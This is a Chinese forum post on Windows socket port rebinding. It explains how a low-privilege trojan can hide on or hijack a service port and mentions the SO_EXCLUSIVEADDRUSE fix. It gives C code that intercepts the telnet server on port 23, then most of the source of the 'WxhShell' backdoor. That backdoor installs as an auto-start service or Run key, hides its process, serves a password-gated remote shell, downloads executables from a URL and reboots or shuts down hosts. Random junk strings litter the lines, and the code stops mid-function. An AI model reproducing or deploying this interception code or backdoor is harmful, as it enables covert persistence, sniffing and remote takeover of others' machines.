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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  d| OEZx  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _?QVc0S!  
A$Ok^  
  saddr.sin_family = AF_INET; 9B<aYp)  
@UCr`>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $Cx?%X^b  
Y~[k_!  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Usz O--.C  
B EB[K2[9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |Pj]sh[^Y  
-b$m<\0*  
  这意味着什么?意味着可以进行如下的攻击: GW;O35 m  
zqt{oN_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mfCp@1;26  
2U.'5uA"L  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ' >R?8Y  
h1REL^!c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U~1)a(Yu;  
7w51UmO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RBOg;EJ  
bAS/cuZs  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v1}9i3Or#  
-"uOh,G}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *r(Qy0(  
{U"=}j(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HP2J`>oo  
!hWS%m@  
  #include yB2}[1  
  #include o'J^kd`  
  #include *!m(oP  
  #include    v@ifB I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JpE7"Z"~MS  
  int main() hAU@}"=G  
  { Ym|%ka  
  WORD wVersionRequested; E)F#Z=)  
  DWORD ret; tg6iHFa  
  WSADATA wsaData; /l>!7  
  BOOL val; jT=fq'RK  
  SOCKADDR_IN saddr; PT39VI =  
  SOCKADDR_IN scaddr; )0?u_Z]w9  
  int err; >0E3Em<(}l  
  SOCKET s; _|VF^\i  
  SOCKET sc; s a{x.2/o}  
  int caddsize; g1v=a  
  HANDLE mt; $|m'~AmI  
  DWORD tid;   F4DJML-(  
  wVersionRequested = MAKEWORD( 2, 2 ); ]8f$&gw&A  
  err = WSAStartup( wVersionRequested, &wsaData ); ToR@XL!%rP  
  if ( err != 0 ) { "6q@}sz!  
  printf("error!WSAStartup failed!\n"); \c4D|7\=  
  return -1; 7_ s7 );  
  } \=uD)9 V  
  saddr.sin_family = AF_INET; zmhL[1qj  
   zS*vKyye>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #Q` TH<  
+vt?3i\^.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {H3B1*Dk  
  saddr.sin_port = htons(23); i F \H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ruv`yfQ  
  { )~-r&Q5d  
  printf("error!socket failed!\n"); 7sq15oL  
  return -1; z-N N( G+  
  } *I.eCMDa  
  val = TRUE; [\-)c[/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `*",_RO;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Y1G/1Z# 2  
  { (f;.`W  
  printf("error!setsockopt failed!\n"); P,@/ap7J  
  return -1; ~JHEr48  
  } )F+wk"`+6  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?7uK:'8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x %W%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X`28?  
Yk0/f|>O  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +CN!3(r  
  { ~9Qd83`UH  
  ret=GetLastError(); M>d^.n  
  printf("error!bind failed!\n"); 6TDa#k5v  
  return -1; _B0C]u3D  
  } aC94g7)`  
  listen(s,2); |7QSr!{_  
  while(1) ~S\,  
  { xnxNc5$oE  
  caddsize = sizeof(scaddr); Rxlz`&   
  //接受连接请求 EY^?@D_<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $8}'h  
  if(sc!=INVALID_SOCKET) gg/2R?O]  
  { :.u2^*<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G=er0(7<  
  if(mt==NULL) RFPcH8-u7  
  { Vsr"W@k_  
  printf("Thread Creat Failed!\n"); fJ=v?  
  break; *!pn6OJ"Q}  
  } OwPXQ 3S  
  } Jl<pWjkZZ  
  CloseHandle(mt); P*n/qj8h  
  } o8Yq3N+  
  closesocket(s); G > t  
  WSACleanup(); 1zgM$p  
  return 0; qM<CBcON  
  }   m 48Ab`  
  DWORD WINAPI ClientThread(LPVOID lpParam) {YG qa$+\  
  { p'A43  
  SOCKET ss = (SOCKET)lpParam; wLzV#8>  
  SOCKET sc; VTwQD"oB  
  unsigned char buf[4096]; Nw{Cu+AwG  
  SOCKADDR_IN saddr; iJ`zWpj+{Q  
  long num; />wE[`  
  DWORD val; gC(@]%  
  DWORD ret; 2 fg P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p-xG&CU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +8Y|kC{9"  
  saddr.sin_family = AF_INET; g7{:F\S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); GI@;76Qf  
  saddr.sin_port = htons(23); C3'?E<F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) izzX$O[=:  
  { Tgl >  
  printf("error!socket failed!\n"); PS8^=  
  return -1; AH-BZ8  
  } \OXQ%J2v  
  val = 100; ]( FFvqA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @,9YF }  
  { Z/T( 4  
  ret = GetLastError(); tSe[*V4{'  
  return -1; XRHngW_A  
  } yb,X }"Et  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vR&b2G7o  
  {  !# zO%  
  ret = GetLastError(); ~~=]_lwyK%  
  return -1; eV~"T2!Sb  
  } %C rTO(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) t)= dKC  
  { U }AIOtUw  
  printf("error!socket connect failed!\n"); 6Yc(|>b!  
  closesocket(sc); 'j-U=2,n  
  closesocket(ss); jYvl-2A'  
  return -1; Z1Qv>@u  
  } 4;Vi@(G)  
  while(1) DIfQ~O+u  
  { GG"6O_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `:C2Cj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GS7'pTsYH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :5BCW68le  
  num = recv(ss,buf,4096,0); =k>fW7e  
  if(num>0) m41%?uC/  
  send(sc,buf,num,0); TV#>x!5!d  
  else if(num==0) T Y% =Y=  
  break; B3pjli  
  num = recv(sc,buf,4096,0); $N Mu  
  if(num>0) _90<*{bt.  
  send(ss,buf,num,0); `<kB/T  
  else if(num==0) {pA&Q{ ^  
  break; 0b['{{X(  
  } %~} ,N  
  closesocket(ss); 3 q J00A  
  closesocket(sc); xkU8(=  
  return 0 ; u:Ye`]~o  
  } m'N8[ o|h  
9aNOfs8(  
(#Xs\IEVF  
========================================================== =z]rZSq*o  
&H P g>  
下边附上一个代码,,WXhSHELL |sY  
)0DgFA6k_  
========================================================== q#SEtyJL  
3=^)=yOd  
#include "stdafx.h" C"$~w3A k  
;mRZ_^V;  
#include <stdio.h> oe|8  
#include <string.h> b(CO7/e>  
#include <windows.h> xcn~KF8  
#include <winsock2.h> z>\l%_w  
#include <winsvc.h> |>[qC O  
#include <urlmon.h> CyS %11L  
lHDZfwJ&C1  
#pragma comment (lib, "Ws2_32.lib") K&zW+C b  
#pragma comment (lib, "urlmon.lib") 8};kNW^2m  
KVr9kcs  
#define MAX_USER   100 // 最大客户端连接数 GzBPI'C  
#define BUF_SOCK   200 // sock buffer ,k=8|=aF  
#define KEY_BUFF   255 // 输入 buffer ~#i2reG5  
/.=aA~|  
#define REBOOT     0   // 重启 CBF<53TshR  
#define SHUTDOWN   1   // 关机 lSlZ^.&  
QnP?j&  
#define DEF_PORT   5000 // 监听端口 G+Bk!o  
'2hy%  
#define REG_LEN     16   // 注册表键长度 2g~ @99`  
#define SVC_LEN     80   // NT服务名长度 : p)R,('g  
ij! ],  
// 从dll定义API DA04llX~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5!cp^[rGL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Sc#3<nVg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @}:E{J#g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?qi~8.<w  
K~2sX>l  
// wxhshell配置信息 j*[P\Cm  
struct WSCFG { v+[S${  
  int ws_port;         // 监听端口 !>D[Y  
  char ws_passstr[REG_LEN]; // 口令 c9o]w8p/  
  int ws_autoins;       // 安装标记, 1=yes 0=no \uZ|2WG`  
  char ws_regname[REG_LEN]; // 注册表键名 8|<</v8i  
  char ws_svcname[REG_LEN]; // 服务名 =[&+R9s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6)*B%$?x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o ABrhK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _)~1'tCs}h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qp/1 tC`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [f! { -T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bJ 2>@|3*  
Dr(2@ 0P  
}; MG~Z)+g=y  
Rd5-ao4  
// default Wxhshell configuration EI7n|X a1q  
struct WSCFG wscfg={DEF_PORT, ;6D3>Lm  
    "xuhuanlingzhe", p5tb=Zg_  
    1, (QL:7  
    "Wxhshell", S9] I [4  
    "Wxhshell", ~]QQaP  
            "WxhShell Service", L\UGC%]9  
    "Wrsky Windows CmdShell Service", "]kzt ux  
    "Please Input Your Password: ", 4}k@p>5v'  
  1, y`L.#5T  
  "http://www.wrsky.com/wxhshell.exe", F[SZwMf29  
  "Wxhshell.exe" xr]bH.>  
    }; :Yn.Wv-  
6i~|<vcSP  
// 消息定义模块 /9&!u )+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l@* $C&E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :" Otsb7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F'OO{nF  
char *msg_ws_ext="\n\rExit."; o $W@@aM  
char *msg_ws_end="\n\rQuit."; cTzR<Yr  
char *msg_ws_boot="\n\rReboot..."; ?upd  
char *msg_ws_poff="\n\rShutdown..."; t-o,iaPG3  
char *msg_ws_down="\n\rSave to "; t&Eiz H$  
4H%#Sn#L^!  
char *msg_ws_err="\n\rErr!"; f<iK%  
char *msg_ws_ok="\n\rOK!"; )[J!{$&y  
~tyqvHC  
char ExeFile[MAX_PATH]; 9#:fQ!3`  
int nUser = 0; c0o Z7)*}  
HANDLE handles[MAX_USER]; "igA^^?X1N  
int OsIsNt; ]u!s-=3s  
ZJU %&@  
SERVICE_STATUS       serviceStatus; sS;)d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k}qQG}hB  
1.k=ji$D0  
// 函数声明 |9\i+)C  
int Install(void); k ,ldi  
int Uninstall(void); G+Z ,i c  
int DownloadFile(char *sURL, SOCKET wsh); ,Yx<"2 W  
int Boot(int flag); #b;k+<n[X  
void HideProc(void); mRRZ/m?A(  
int GetOsVer(void); E;{CoL  
int Wxhshell(SOCKET wsl); |h 6!bt!=  
void TalkWithClient(void *cs); vs[!B-  
int CmdShell(SOCKET sock); D (8Z90  
int StartFromService(void); `^[Tu 1  
int StartWxhshell(LPSTR lpCmdLine); 0)g]pG8&ro  
JDZuT#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^67}&O^1 ,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l0`bseN <  
0m]QQGvJ{  
// 数据结构和表定义 F~fBr  
SERVICE_TABLE_ENTRY DispatchTable[] = T9& {s-3*  
{ }T(=tfv@  
{wscfg.ws_svcname, NTServiceMain}, ~!~i_L\V  
{NULL, NULL} u&uFXOc'  
}; &g&,~Y/z;  
KJ32L  
// 自我安装 Q"D  
int Install(void) j0~am,yZ  
{ jT$J~M pHh  
  char svExeFile[MAX_PATH]; 6xtgnl#T  
  HKEY key; uA[ :  
  strcpy(svExeFile,ExeFile); TP {\V>*Yz  
CEkUXsp  
// 如果是win9x系统,修改注册表设为自启动 bRyxP2  
if(!OsIsNt) { ym%` l!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1E / G+pm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qpjZ-[UC  
  RegCloseKey(key); U m\HX6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .=Oww  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A03io8D6  
  RegCloseKey(key); Gv G8s6IZ  
  return 0; L~{(9J'(  
    } MXfyj5K  
  } @(35I  
} r>ed/<_>m;  
else { 9v`sSTlSd  
<(@S;?ZEW  
// 如果是NT以上系统,安装为系统服务  8Cp@k=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5NUaXQ  
if (schSCManager!=0) |yO%w#  
{ M0xhcU_  
  SC_HANDLE schService = CreateService -*KKrte  
  ( $%\6"P/64  
  schSCManager, qMVuFw Phi  
  wscfg.ws_svcname, yOQae m^O  
  wscfg.ws_svcdisp, h[iO'Vq  
  SERVICE_ALL_ACCESS, iYvzZ7 8f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %m f)BC  
  SERVICE_AUTO_START, C.:S@{sK  
  SERVICE_ERROR_NORMAL, M^Z=~512g  
  svExeFile, !KOa'Ic$V  
  NULL, e,p*R?Y{[  
  NULL, [(_,\:L${  
  NULL, mOh?cjOi  
  NULL, aWJ BYw6{L  
  NULL PkyX,mr#1  
  ); i&lW&]  
  if (schService!=0) \9OKf|#j  
  { fXWE4^jU  
  CloseServiceHandle(schService); BWxJ1ENM  
  CloseServiceHandle(schSCManager); "1^tVw|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y*X.DS 1(w  
  strcat(svExeFile,wscfg.ws_svcname); 6>#8 ^{[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (nq""kO6'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .6$=]hdAp  
  RegCloseKey(key); Uv>e :U7;  
  return 0; %i3[x.M  
    } %.f%Q?P  
  } |wv+g0]Pg^  
  CloseServiceHandle(schSCManager); , ~38IIS>_  
} +`gU{e,p  
} /{hT3ncb  
[<U=)!Swg  
return 1; y `FZ 0FI  
} Q njK<}M9  
T^#d;A  
// 自我卸载 1aS:bFi`  
int Uninstall(void) nlhv  
{ @fmp2!?6  
  HKEY key; i0wBZ i?  
@d~]3T  
if(!OsIsNt) { :Ob^b3<t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O>h h  
  RegDeleteValue(key,wscfg.ws_regname); (nmsw6 X  
  RegCloseKey(key); go yDG/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U4-RI]Cpf  
  RegDeleteValue(key,wscfg.ws_regname); $$.q6  
  RegCloseKey(key); v&;JVai  
  return 0; 5lD`qY  
  } YHom9& A  
} }]dzY(   
} 1 +-Go}I  
else { Kgi`@`  
t^KQv~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iR9duP+  
if (schSCManager!=0) xg, 9~f[  
{ ,N,@9p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B.od{@I(Xp  
  if (schService!=0) F7jkl4  
  { =J)-#|eZG  
  if(DeleteService(schService)!=0) { SC%HHu\l  
  CloseServiceHandle(schService); hM!g6\ w  
  CloseServiceHandle(schSCManager); zj2y=A| Y  
  return 0; !:5'MI@  
  } w@R"g%k-  
  CloseServiceHandle(schService); zfI{cMn'J  
  } YI*H]V%w  
  CloseServiceHandle(schSCManager);  G$'UK  
} 9]ZfSn)  
} (-0d@eqw  
:}fA98S  
return 1; k)D5>T  
} `a[fC9  
,Nw2cv}D  
// 从指定url下载文件 &E0^Jz  
int DownloadFile(char *sURL, SOCKET wsh) {`*Fu/Upb  
{ +924_,zF  
  HRESULT hr; 4@\$k+v  
char seps[]= "/"; zi`q([  
char *token; > r(`4M:  
char *file; _i7yyt;h  
char myURL[MAX_PATH]; ji4bz#/B0  
char myFILE[MAX_PATH]; lY@2$q9BT  
`5oXf  
strcpy(myURL,sURL); 2i #Ekon  
  token=strtok(myURL,seps); 73S N\  
  while(token!=NULL) E>-I |X"L1  
  { G?b*e|@S  
    file=token; OY81|N j  
  token=strtok(NULL,seps); 6 F39'  
  } #+_=(J  
iuXXFuh  
GetCurrentDirectory(MAX_PATH,myFILE); ?R sPAL  
strcat(myFILE, "\\"); |BhL.  
strcat(myFILE, file); /CyFe<t  
  send(wsh,myFILE,strlen(myFILE),0); f$5pp=s:n  
send(wsh,"...",3,0); o/a2n<4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R#y"SxD()  
  if(hr==S_OK) /DHV-L  
return 0; L1G)/Vkw  
else ADOA&r[  
return 1; A2L"&dl  
?-2s}IJO  
} XefmC6X  
[+W<;iep  
// 系统电源模块 Zw{?^6;cS  
int Boot(int flag) GNuIcy  
{ j -"34  
  HANDLE hToken; +Tx_q1/f5X  
  TOKEN_PRIVILEGES tkp; `ItoL7bi  
kzK9 .  
  if(OsIsNt) { {0+WVZ4u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pQc-}o"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {"$ [MYi:  
    tkp.PrivilegeCount = 1; CGK]i. N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; { Dm@_&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *CQZ6&^  
if(flag==REBOOT) { xj8z*fC;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qgfP6W$  
  return 0; !fe_w5S^  
} @^ &p$:  
else { aY .cx1"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T4}Wg=UKg  
  return 0; * Wp?0CP  
} \I}EWI  
  } ^ZS!1%1  
  else { ,H.5TQ#  
if(flag==REBOOT) { !"RRw&0M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kmu`sk"  
  return 0; 0!0o[3*  
} 2v@B7r4}  
else { ] `q]n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kMLJa=]$  
  return 0; w 2U302TZ  
} n`w]?bL  
} Pe\Obd8d  
2T?Y  
return 1; A*/8j\{n  
} LxWd_B  
c1a$J`  
// win9x进程隐藏模块 a-F I`Dv  
void HideProc(void) \ %MsG  
{ [YODyf}M>\  
:O&jm.2m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [iO8R-N8d  
  if ( hKernel != NULL ) eGpKoq7a  
  { #+U1QOsz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1$C?+H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A X1!<K  
    FreeLibrary(hKernel); ?fC9)s  
  } d8 Jf3Mo  
Wuk8&P3  
return; 0m> 8  
} *pnaj\  
Uz rf,I[  
// 获取操作系统版本 s>\^dtG7  
int GetOsVer(void) GB pdj}2=  
{ n=$ne2/  
  OSVERSIONINFO winfo; .<fdX()e,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q}<QE:-&E  
  GetVersionEx(&winfo); +|X`cmnuU  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <Ist^ h+o  
  return 1; a 8Xwz@ M  
  else 1(>2tEjYT  
  return 0; ;;Z'd@  
} &&LB0vH!J  
ir{ 4k  
// 客户端句柄模块 $- %um  
int Wxhshell(SOCKET wsl) EN/t5d  
{ dy5}Jn%L  
  SOCKET wsh; kn$_X4^?  
  struct sockaddr_in client; HRM-r~2:-]  
  DWORD myID; -gt ?5H h  
oyk&]'>  
  while(nUser<MAX_USER) .b<W*4{j0H  
{ :wg=H  
  int nSize=sizeof(client); 9c,/490Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &?1^/]'"r  
  if(wsh==INVALID_SOCKET) return 1; <~w3[i=  
ln8NcAEx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P*|=Z>%[0  
if(handles[nUser]==0) , .;0xyc  
  closesocket(wsh); srO>l ;Vf/  
else NR8`nc1~  
  nUser++; m||9,z-  
  } %+|sbRBb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QE)zH)(  
I''n1v?N  
  return 0; 3)?WSOsL :  
} | V{ Q  
aL90:,V  
// 关闭 socket M,li\)J!&  
void CloseIt(SOCKET wsh) f`/('}t  
{ b30Jr2[  
closesocket(wsh); !'BXc%`x[  
nUser--; .%.7~Nu,  
ExitThread(0); SVn@q|N  
} ly6zz|c5  
<BZC5b6  
// 客户端请求句柄 kMnG1K  
void TalkWithClient(void *cs) LJ@r+|>  
{ GU@#\3  
#Cu$y8~as  
  SOCKET wsh=(SOCKET)cs; q%$p56\?3  
  char pwd[SVC_LEN]; >C6S2ISSz  
  char cmd[KEY_BUFF]; 2@z.ory.  
char chr[1]; Rj>A",  
int i,j; tAJ}36 aG  
q<z8P;oP^  
  while (nUser < MAX_USER) { ~re}6-?  
|_8l9rB5ip  
if(wscfg.ws_passstr) { GQA\JYw|oY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rrj.]^E_~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Xa?igbgAwx  
  //ZeroMemory(pwd,KEY_BUFF); t[X^4bZd  
      i=0; w <"mS*Q  
  while(i<SVC_LEN) { eQ8t.~5;-  
dlCYdwP  
  // 设置超时 i}v.x  
  fd_set FdRead; oS9Od8  
  struct timeval TimeOut; ZxT E(BQv  
  FD_ZERO(&FdRead); BQg3+w:>  
  FD_SET(wsh,&FdRead); &V (6N%A^U  
  TimeOut.tv_sec=8; vS0 ii  
  TimeOut.tv_usec=0; !-3;Qj}V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y \B6c^E)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z^as ?k(iM  
il !B={  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N_iy4W(NU  
  pwd=chr[0]; 5<v1v&  
  if(chr[0]==0xd || chr[0]==0xa) { ^5TVm>F@3  
  pwd=0; q jc4IW t~  
  break; C f d* Q  
  } ivq(eKy  
  i++; 6z6\xkr  
    } pXN'vP  
?H@<8Ra=3  
  // 如果是非法用户,关闭 socket s9nPxC&A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2Zuo).2a.  
} '#LzQ6Pn  
Lkx~>U   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )&>W/56/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y.Z:H!P);$  
mS![J69(  
while(1) { {xov8 M  
#m?)XB^_  
  ZeroMemory(cmd,KEY_BUFF); 5toa@#Bc%  
AL3iNkEa  
      // 自动支持客户端 telnet标准   J9]cs?`)  
  j=0; <anKw|  
  while(j<KEY_BUFF) { "H`Be  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z10}xqi!X  
  cmd[j]=chr[0]; *DfOm`m  
  if(chr[0]==0xa || chr[0]==0xd) { dr=Q9%  
  cmd[j]=0; >&S}u\/  
  break; <YU4RZ  
  } YkB@fTTS  
  j++; _Q I!UQdW  
    } *. |%uf.  
t$Rc 0  
  // 下载文件 xt,Qn460;  
  if(strstr(cmd,"http://")) { -mRgB"8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VlA]A,P}i  
  if(DownloadFile(cmd,wsh)) ;zD4 #7=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }a~hd*-#  
  else '&#gs P9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SKnYeT  
  } 23L>)Q  
  else { O |P<s+  
+8N6tw/&  
    switch(cmd[0]) { !^su=c  
  =VuSi(d;e{  
  // 帮助 At=d//5FFP  
  case '?': { H#;*kc a4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GK'p$`oJm  
    break; LPJ7V` !k  
  } q: FhuOP  
  // 安装 FV "pJ  
  case 'i': { 4FRi=d;mP  
    if(Install()) ~,1Sw7 rE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`a~8QVh&5  
    else wxh\CBxG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QtKcv7:4  
    break; x$BNFb%I1  
    } jUA~}DVD  
  // 卸载 ]&Y^  
  case 'r': { 5{V"!M+<  
    if(Uninstall()) ;j1E6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `<se&IZE  
    else ~d]v{<3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SU~.baP?  
    break; ~i%=1&K&`  
    } QWfSm^ t  
  // 显示 wxhshell 所在路径 {P~rf&Ee  
  case 'p': { d8jH?P-"  
    char svExeFile[MAX_PATH]; -9= DDoO  
    strcpy(svExeFile,"\n\r"); OriYt  
      strcat(svExeFile,ExeFile); jj]\]6@+P  
        send(wsh,svExeFile,strlen(svExeFile),0); # lvt4a"P"  
    break; UcQ]n0J=Z  
    } ~>=.^  
  // 重启 5qQMGN$K  
  case 'b': { * CR#D}F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e c]kt'  
    if(Boot(REBOOT)) o$.#A]Flb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %CiF;wJ  
    else { 0!dNW,NfJ  
    closesocket(wsh); P1LOj  
    ExitThread(0); {j>a_]dTVX  
    } BM /FOY;  
    break; 8Zsaq1S  
    } <5z!0m-G  
  // 关机 CipDeqau2  
  case 'd': { t7F0[E'=5\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +X^GS^mz  
    if(Boot(SHUTDOWN)) W$zRUG-  
